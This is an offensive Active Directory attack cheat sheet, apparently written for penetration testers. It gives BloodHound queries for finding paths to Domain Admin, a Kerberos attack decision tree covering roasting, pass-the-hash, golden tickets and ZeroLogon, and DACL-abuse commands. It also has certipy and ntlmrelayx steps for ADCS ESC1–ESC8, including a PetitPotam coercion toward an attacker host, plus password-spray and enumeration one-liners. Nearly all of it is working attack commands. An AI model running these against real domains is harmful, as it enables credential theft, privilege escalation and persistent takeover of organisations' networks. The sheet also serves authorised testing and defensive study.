Ad Attacks

BloodHound Cypher Queries (Neo4j / BloodHound CE)

Shortest Attack Paths

-- Shortest path from any owned computer to Domain Admin
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

-- Shortest path from any owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

-- All paths from owned nodes to Domain Admin (expand search)
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
WHERE NOT n=g
RETURN p

-- Shortest path from any node to DA (non-DA owned)
MATCH (n), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE n.owned = true AND NOT n IN nodes(shortestPath((n)-[*1..]->(g)))
MATCH p=shortestPath((n)-[*1..]->(g))
RETURN p LIMIT 10

High-Value Target Discovery

-- All Domain Admin users (including nested group membership)
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name ORDER BY u.name

-- All Domain Controllers
MATCH (c:Computer)-[:MemberOf]->(g:Group {name:"DOMAIN CONTROLLERS@DOMAIN.LOCAL"})
RETURN c.name, c.operatingsystem

-- Find all computers where DA users are logged on
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem

-- Users with path to Domain Admin count (ranked)
MATCH (u:User), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE EXISTS(shortestPath((u)-[*1..]->(g)))
RETURN u.name, u.enabled
ORDER BY u.name

Kerberoastable Accounts

-- All Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
WHERE u.enabled = true
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, u.serviceprincipalnames, p IS NOT NULL AS has_da_path
ORDER BY has_da_path DESC

-- Kerberoastable users not requiring password change
MATCH (u:User {hasspn:true, enabled:true, pwdneverexpires:true})
RETURN u.name, u.serviceprincipalnames, u.description

AS-REP Roastable Accounts

-- All users with "Do not require Kerberos preauthentication" set
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.description, u.admincount

-- AS-REP roastable with path to DA
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, p IS NOT NULL AS has_da_path

Unconstrained Delegation

-- Computers with unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS "DC"
RETURN c.name, c.operatingsystem, c.description

-- Users with unconstrained delegation
MATCH (u:User {unconstraineddelegation:true, enabled:true})
RETURN u.name, u.admincount, u.description

Constrained Delegation

-- Users with constrained delegation (check for S4U2Any)
MATCH (u:User)
WHERE u.allowedtodelegate IS NOT NULL AND u.enabled = true
RETURN u.name, u.allowedtodelegate

-- Computers with constrained delegation
MATCH (c:Computer)
WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate

ACL / ACE Abuse Paths

-- Who has GenericAll on Domain Admins group
MATCH (n)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name, labels(n)

-- Users with WriteDACL on any object (dangerous ACE)
MATCH (u:User)-[:WriteDACL]->(t)
RETURN u.name, labels(t), t.name
ORDER BY u.name

-- All objects with GenericWrite on high-value targets
MATCH (n)-[:GenericWrite]->(t)
WHERE t.admincount = true
RETURN n.name, labels(n), t.name, labels(t)

-- ForceChangePassword edges (password reset without current pw)
MATCH (n)-[:ForceChangePassword]->(u:User {enabled:true})
RETURN n.name, labels(n), u.name

-- Owned computers that can dcsync (HasDCSync)
MATCH (n)-[:DCSync]->(d:Domain)
RETURN n.name, labels(n), d.name

-- Computers where owned user has local admin
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem

Session / Reachability

-- Find computers reachable from owned users (local admin)
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN DISTINCT c.name, c.operatingsystem

-- Find lateral paths from any owned to any DA-session computer
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name, c.name, da.name

Kerberos Attack Decision Tree

Target: Active Directory Environment
│
├─ No credentials? → Try AS-REP Roasting (impacket-GetNPUsers, no auth required)
│                     └─ Got hash? → hashcat -m 18200
│
├─ Got valid username + password?
│   ├─ Can enumerate SPNs? → Kerberoasting (impacket-GetUserSPNs)
│   │                         └─ Got hash? → hashcat -m 13100
│   ├─ Has unconstrained delegation?
│   │   └─ Get TGTs from connections → Rubeus / mimikatz monitor
│   └─ Has constrained delegation?
│       └─ S4U2Self + S4U2Proxy → impacket-getST -spn
│
├─ Got NTLM hash (not cracked)?
│   ├─ Pass-the-Hash → impacket-psexec/wmiexec/smbexec -hashes
│   └─ Silver Ticket (if target SPN known + machine hash available)
│       → impacket-ticketer -nthash [machine hash] -spn [SPN]
│
├─ Got DA credential / krbtgt hash?
│   └─ Golden Ticket → impacket-ticketer -nthash [krbtgt hash] -domain-sid [SID]
│                        → Persist for 10 years, roam any service
│
├─ Got ADCS (Certificate Services) present?
│   ├─ ESC1 (template allows SAN) → certipy req + authenticate
│   ├─ ESC4 (write on template) → certipy template + ESC1 exploit
│   ├─ ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) → certipy req any UPN
│   └─ ESC8 (web enrollment NTLM relay) → ntlmrelayx → certipy auth
│
└─ ZeroLogon (CVE-2020-1472)?
    └─ impacket zerologon → reset machine account pw → DCSync

ACE / ACL Abuse Cheatsheet

DACL Abuse Commands

# Check current ACLs on an object
impacket-dacledit -action read -target "$TARGET_USER" \
  "$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP

# Grant GenericAll to attacker user
impacket-dacledit -action write -rights FullControl \
  -target "$TARGET_OBJECT" -principal "$ATTACKER_USER" \
  "$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP

# Take ownership of object (WriteOwner)
impacket-owneredit -action write -new-owner "$ATTACKER_USER" \
  -target "$TARGET_OBJECT" "$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP

# Add member to group
net rpc group addmem "$GROUP_NAME" "$ATTACKER_USER" \
  -U "$DOMAIN/$ATTACKER_USER%$PASS" -S $DC_IP

# Force password change
net rpc password "$TARGET_USER" "NewPass123!" \
  -U "$DOMAIN/$ATTACKER_USER%$PASS" -S $DC_IP

ADCS ESC Attack Scenarios (ESC1–ESC8)

ESC1 — Enrollee Supplies Subject (SAN)

# Identify vulnerable templates
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC_IP -vulnerable -stdout

# Request certificate with admin UPN in SAN
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -template $TEMPLATE_NAME \
  -upn administrator@$DOMAIN \
  -dc-ip $DC_IP

# Authenticate with certificate to get NTLM hash
certipy auth -pfx administrator.pfx -dc-ip $DC_IP

ESC2 — Any Purpose / SubCA

# Template allows Any Purpose EKU — can forge for any use
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -template $ESC2_TEMPLATE \
  -upn administrator@$DOMAIN \
  -dc-ip $DC_IP

ESC3 — Enrollment Agent Abuse

# Step 1: Enroll as enrollment agent
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -template EnrollmentAgent -dc-ip $DC_IP

# Step 2: Request cert on behalf of admin using enrollment agent cert
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -template $TARGET_TEMPLATE \
  -on-behalf-of $DOMAIN\\Administrator \
  -pfx $USER.pfx -dc-ip $DC_IP

ESC4 — Template Write Permissions

# Check if we have write permissions on template
certipy template -u $USER@$DOMAIN -p $PASS \
  -template $VULN_TEMPLATE -dc-ip $DC_IP

# Modify template to add ESC1 conditions (enable SAN + disable approval)
certipy template -u $USER@$DOMAIN -p $PASS \
  -template $VULN_TEMPLATE -save-old -dc-ip $DC_IP

# Now exploit as ESC1
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -template $VULN_TEMPLATE -upn administrator@$DOMAIN -dc-ip $DC_IP

# Restore original template
certipy template -u $USER@$DOMAIN -p $PASS \
  -template $VULN_TEMPLATE -configuration $VULN_TEMPLATE.json -dc-ip $DC_IP

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

# CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set — any template allows SAN
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -template User -upn administrator@$DOMAIN -dc-ip $DC_IP

ESC7 — CA Officer/Manager Misconfig

# Approve pending certificates using CA Manager rights
certipy ca -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
  -issue-request $REQUEST_ID -dc-ip $DC_IP

ESC8 — NTLM Relay to ADCS HTTP Enrollment

# Terminal 1: Start ntlmrelayx targeting CA web enrollment
impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Terminal 2: Trigger NTLM auth (coerce DC to authenticate)
python3 PetitPotam.py $ATTACKER_IP $DC_IP

# Terminal 3: Authenticate with returned base64 certificate
certipy auth -pfx dc.pfx -dc-ip $DC_IP

Common Active Directory Misconfiguration Checklist

Domain Recon One-Liners

# Full enum with enum4linux-ng
enum4linux-ng -A $DC_IP 2>&1 | tee evidence/enum4linux.txt

# LDAP dump (authenticated)
ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \
  -o evidence/ldapdump/

# BloodHound Python collection (all methods)
bloodhound-python -u $USER -p $PASS -d $DOMAIN \
  -dc $DC_FQDN -c All --zip \
  -o evidence/bloodhound/

# Password spray (threshold: 1 per 30 min to avoid lockout)
crackmapexec smb $DC_IP \
  -u evidence/userlist.txt \
  -p 'Winter2025!' \
  --continue-on-success 2>&1 | tee evidence/spray.txt

# kerbrute user enumeration (no auth, no lockout)
kerbrute userenum \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  --dc $DC_IP -d $DOMAIN \
  -o evidence/valid_users.txt

# Extract domain users to file via LDAP
ldapsearch -x -H ldap://$DC_IP \
  -D "$USER@$DOMAIN" -w "$PASS" \
  -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" \
  "(objectClass=user)" sAMAccountName | \
  grep sAMAccountName | awk '{print $2}' > evidence/users.txt